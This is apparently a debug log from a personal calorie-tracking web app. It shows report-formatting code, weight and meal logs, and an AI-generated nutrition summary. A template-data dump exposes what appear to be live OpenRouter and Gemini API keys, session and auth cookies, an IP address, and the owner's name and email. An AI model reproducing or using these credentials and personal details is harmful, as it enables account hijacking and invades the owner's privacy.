2025-12-20T04:09:42.517Z server-connect:app Executing action step run
2025-12-20T04:09:42.517Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-20T04:09:42.517Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '\n'
2025-12-20T04:09:42.517Z server-connect:app Executing action step setvalue
2025-12-20T04:09:42.517Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-20T04:09:42.518Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 460 | Pre-workout | 0 | 0 | 0 | 0 | 1 scoop |\n' +
  '| 461 | Paneer (soft and fluffy) | 352 | 23 | 4 | 28 | 110 gm |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '\n'
2025-12-20T04:09:42.518Z server-connect:app Executing action step processWithGemini
2025-12-20T04:09:42.518Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-20T04:09:43.936Z server-connect:output health_summary: {
  summary: "Today's intake appears to be very limited, with only a pre-workout supplement and a single meal of paneer recorded. This lack of variety and substantial food intake is unlikely to support muscle development or provide adequate recovery after your early morning gym sessions. The weight logs show a general downward trend over the past couple of weeks, suggesting some progress, but the current day's nutrition is not aligned with your goals.",
  rating: 3,
  good_points: [
    'Pre-workout was consumed, indicating readiness for training.',
    'Paneer provides a good source of protein.'
  ],
  bad_points: [
    'Extremely limited food intake for the entire day.',
    'Lack of diverse food groups, missing carbohydrates and healthy fats.',
    'Inadequate protein intake for muscle development and recovery.',
    'No indication of hydration or other essential nutrients.'
  ],
  suggestions: [
    'Incorporate at least two more balanced meals throughout the day.',
    'Ensure meals include a good source of lean protein, complex carbohydrates, and healthy fats.',
    'Add a variety of vegetables and fruits for micronutrients and fiber.',
    'Prioritize post-workout nutrition to aid recovery and muscle synthesis.',
    'Stay well-hydrated by drinking plenty of water.'
  ],
  predicted_weight_trend: 'slight loss',
  predicted_weight: 69.8
}
2025-12-20T04:09:43.936Z server-connect:app Executing action step condition
2025-12-20T04:09:43.936Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-20T04:09:43.936Z server-connect:app Executing action step delete
2025-12-20T04:09:43.937Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-20T04:09:43.937Z server-connect:output delete: { affected: 0 }
2025-12-20T04:09:43.937Z server-connect:app Executing action step insert
2025-12-20T04:09:43.937Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-20T04:09:43.938Z server-connect:output insert: { affected: 1, identity: 44 }
2025-12-20T04:09:43.938Z server-connect:output condition: undefined
2025-12-20T04:09:44.157Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T04:09:44.157Z server-connect:app Executing action step identify
2025-12-20T04:09:44.157Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:44.157Z server-connect:output identity: 1
2025-12-20T04:09:44.157Z server-connect:app Executing action step restrict
2025-12-20T04:09:44.157Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:44.157Z server-connect:output restrict: undefined
2025-12-20T04:09:44.157Z server-connect:app Executing action step single
2025-12-20T04:09:44.157Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T04:09:44.159Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "Today's intake appears to be very limited, with only a pre-workout supplement and a single meal of paneer recorded. This lack of variety and substantial food intake is unlikely to support muscle development or provide adequate recovery after your early morning gym sessions. The weight logs show a general downward trend over the past couple of weeks, suggesting some progress, but the current day's nutrition is not aligned with your goals.",
    bad_points: [
      'Extremely limited food intake for the entire day.',
      'Lack of diverse food groups, missing carbohydrates and healthy fats.',
      'Inadequate protein intake for muscle development and recovery.',
      'No indication of hydration or other essential nutrients.'
    ],
    good_points: [
      'Pre-workout was consumed, indicating readiness for training.',
      'Paneer provides a good source of protein.'
    ],
    suggestions: [
      'Incorporate at least two more balanced meals throughout the day.',
      'Ensure meals include a good source of lean protein, complex carbohydrates, and healthy fats.',
      'Add a variety of vegetables and fruits for micronutrients and fiber.',
      'Prioritize post-workout nutrition to aid recovery and muscle synthesis.',
      'Stay well-hydrated by drinking plenty of water.'
    ],
    predicted_weight: 69.8,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T04:09:55.410Z server-connect:app Executing action step identify
2025-12-20T04:09:55.410Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:55.410Z server-connect:output identity: 1
2025-12-20T04:09:58.377Z server-connect:app Executing action step identify
2025-12-20T04:09:58.377Z server-connect:app options: { provider: 'security' }
2025-12-20T04:09:58.377Z server-connect:output identity: 1
2025-12-20T04:10:02.087Z server-connect:app Executing action step identify
2025-12-20T04:10:02.087Z server-connect:app options: { provider: 'security' }
2025-12-20T04:10:02.087Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 04:34:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 04:34:04' as DATETIME)"
}
2025-12-20T04:52:51.863Z server-connect:app Executing action step identify
2025-12-20T04:52:51.863Z server-connect:app options: { provider: 'security' }
2025-12-20T04:52:51.863Z server-connect:output identity: 1
2025-12-20T04:52:53.710Z server-connect:router Serving templateView /calorie-tracker
2025-12-20T04:52:53.711Z server-connect:app Executing action step identify
2025-12-20T04:52:53.711Z server-connect:app options: { provider: 'security' }
2025-12-20T04:52:53.711Z server-connect:output identity: 1
2025-12-20T04:52:53.711Z server-connect:app Executing action step restrict
2025-12-20T04:52:53.711Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T04:52:53.712Z server-connect:output restrict: undefined
2025-12-20T04:52:53.712Z server-connect:router Render template layouts/main
2025-12-20T04:52:53.713Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.251.138',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.251.138',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.251.138',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-20T04:52:53.932Z server-connect:app Executing action step identify
2025-12-20T04:52:53.933Z server-connect:app options: { provider: 'security' }
2025-12-20T04:52:53.933Z server-connect:output identity: 1
2025-12-20T04:52:54.433Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T04:52:54.435Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-20T04:52:54.435Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T04:52:54.436Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T04:52:54.436Z server-connect:app Executing action step identify
2025-12-20T04:52:54.436Z server-connect:app options: { provider: 'security' }
2025-12-20T04:52:54.436Z server-connect:output identity: 1
2025-12-20T04:52:54.436Z server-connect:app Executing action step restrict
2025-12-20T04:52:54.436Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:52:54.437Z server-connect:app Executing action step identify
2025-12-20T04:52:54.437Z server-connect:app options: { provider: 'security' }
2025-12-20T04:52:54.437Z server-connect:output identity: 1
2025-12-20T04:52:54.437Z server-connect:app Executing action step restrict
2025-12-20T04:52:54.437Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:52:54.438Z server-connect:app Executing action step identify
2025-12-20T04:52:54.438Z server-connect:app options: { provider: 'security' }
2025-12-20T04:52:54.438Z server-connect:output identity: 1
2025-12-20T04:52:54.438Z server-connect:app Executing action step restrict
2025-12-20T04:52:54.438Z server-connect:app options: { provider: 'security' }
2025-12-20T04:52:54.439Z server-connect:output restrict: undefined
2025-12-20T04:52:54.439Z server-connect:app Executing action step single
2025-12-20T04:52:54.439Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T04:52:54.440Z server-connect:output restrict: undefined
2025-12-20T04:52:54.440Z server-connect:app Executing action step single
2025-12-20T04:52:54.441Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T04:52:54.441Z server-connect:app Executing action step identify
2025-12-20T04:52:54.441Z server-connect:app options: { provider: 'security' }
2025-12-20T04:52:54.441Z server-connect:output identity: 1
2025-12-20T04:52:54.441Z server-connect:app Executing action step restrict
2025-12-20T04:52:54.441Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:52:54.442Z server-connect:output restrict: undefined
2025-12-20T04:52:54.442Z server-connect:app Executing action step single
2025-12-20T04:52:54.442Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-20T04:52:54.444Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "Today's intake appears to be very limited, with only a pre-workout supplement and a single meal of paneer recorded. This lack of variety and substantial food intake is unlikely to support muscle development or provide adequate recovery after your early morning gym sessions. The weight logs show a general downward trend over the past couple of weeks, suggesting some progress, but the current day's nutrition is not aligned with your goals.",
    bad_points: [
      'Extremely limited food intake for the entire day.',
      'Lack of diverse food groups, missing carbohydrates and healthy fats.',
      'Inadequate protein intake for muscle development and recovery.',
      'No indication of hydration or other essential nutrients.'
    ],
    good_points: [
      'Pre-workout was consumed, indicating readiness for training.',
      'Paneer provides a good source of protein.'
    ],
    suggestions: [
      'Incorporate at least two more balanced meals throughout the day.',
      'Ensure meals include a good source of lean protein, complex carbohydrates, and healthy fats.',
      'Add a variety of vegetables and fruits for micronutrients and fiber.',
      'Prioritize post-workout nutrition to aid recovery and muscle synthesis.',
      'Stay well-hydrated by drinking plenty of water.'
    ],
    predicted_weight: 69.8,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T04:52:54.445Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T04:52:54.446Z server-connect:output restrict: undefined
2025-12-20T04:52:54.446Z server-connect:app Executing action step select
2025-12-20T04:52:54.446Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T04:52:54.448Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-20T04:52:54.448Z server-connect:app Executing action step select
2025-12-20T04:52:54.448Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-20T04:52:54.453Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
